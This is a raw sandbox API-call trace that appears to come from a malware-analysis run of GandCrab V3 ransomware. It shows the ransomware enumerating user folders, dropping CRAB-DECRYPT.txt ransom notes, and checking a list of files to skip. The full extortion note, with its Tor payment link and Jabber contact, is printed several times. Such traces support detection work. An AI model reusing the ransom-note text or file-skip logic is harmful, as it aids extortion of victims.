	[0133.941] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.942] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0133.942] FindClose (in: hFindFile=0x320ded0 | out: hFindFile=0x320ded0) returned 1
	[0133.942] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0133.942] lstrcmpW (lpString1="PrintHood", lpString2=".") returned 1
	[0133.942] lstrcmpW (lpString1="PrintHood", lpString2="..") returned 1
	[0133.942] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="PrintHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood"
	[0133.942] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\"
	[0133.942] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.942] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.942] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.942] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.942] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.942] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.943] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.943] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.943] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.943] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.943] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.943] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.943] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\\\CRAB-DECRYPT.txt") returned 49
	[0133.943] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\printhood\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0133.944] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.944] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0133.945] CloseHandle (hObject=0x3d4) returned 1
	[0133.945] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned 32
	[0133.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*"
	[0133.946] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0133.946] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0133.946] lstrcmpW (lpString1="Recent", lpString2=".") returned 1
	[0133.946] lstrcmpW (lpString1="Recent", lpString2="..") returned 1
	[0133.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent"
	[0133.946] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\"
	[0133.946] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.946] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.946] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.947] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.947] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.947] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.947] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.947] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\\\CRAB-DECRYPT.txt") returned 46
	[0133.947] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\recent\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0133.948] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.948] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0133.949] CloseHandle (hObject=0x3d4) returned 1
	[0133.949] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.949] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned 29
	[0133.949] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*"
	[0133.950] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Recent\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0133.950] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0133.950] lstrcmpW (lpString1="Saved Games", lpString2=".") returned 1
	[0133.950] lstrcmpW (lpString1="Saved Games", lpString2="..") returned 1
	[0133.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Saved Games" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games"
	[0133.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\"
	[0133.950] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.950] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.951] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.951] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.951] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.951] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.951] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.951] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.951] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\\\CRAB-DECRYPT.txt") returned 51
	[0133.951] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\saved games\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0133.952] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.952] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0133.953] CloseHandle (hObject=0x3d4) returned 1
	[0133.953] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.953] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\") returned 34
	[0133.953] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*"
	[0133.953] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x32492b0
	[0133.953] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0133.954] FindNextFileW (in: hFindFile=0x32492b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.954] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0133.954] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0133.954] FindNextFileW (in: hFindFile=0x32492b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.954] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0133.954] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0133.954] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\CRAB-DECRYPT.txt"
	[0133.954] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.954] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\CRAB-DECRYPT.txt") returned 50
	[0133.954] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\CRAB-DECRYPT.txt") returned 50
	[0133.954] lstrlenW (lpString=".txt") returned 4
	[0133.954] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.954] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0133.955] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\CRAB-DECRYPT.txt") returned 50
	[0133.955] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\CRAB-DECRYPT.txt") returned 50
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0133.955] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0133.955] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.955] FindNextFileW (in: hFindFile=0x32492b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.955] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0133.956] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0133.956] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\desktop.ini"
	[0133.956] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.956] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\desktop.ini") returned 45
	[0133.956] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\desktop.ini") returned 45
	[0133.956] lstrlenW (lpString=".ini") returned 4
	[0133.956] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.956] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0133.956] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.957] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\desktop.ini") returned 45
	[0133.957] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Saved Games\\desktop.ini") returned 45
	[0133.957] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0133.957] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.957] FindNextFileW (in: hFindFile=0x32492b0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0133.957] FindClose (in: hFindFile=0x32492b0 | out: hFindFile=0x32492b0) returned 1
	[0133.957] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0133.957] lstrcmpW (lpString1="Searches", lpString2=".") returned 1
	[0133.957] lstrcmpW (lpString1="Searches", lpString2="..") returned 1
	[0133.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Searches" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches"
	[0133.957] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\"
	[0133.957] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.957] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.958] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.958] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.958] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.958] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.958] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.958] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.958] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.958] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\\\CRAB-DECRYPT.txt") returned 48
	[0133.959] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0133.960] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.960] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0133.961] CloseHandle (hObject=0x3d4) returned 1
	[0133.961] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.961] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned 31
	[0133.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*"
	[0133.961] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Searches\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x3249470
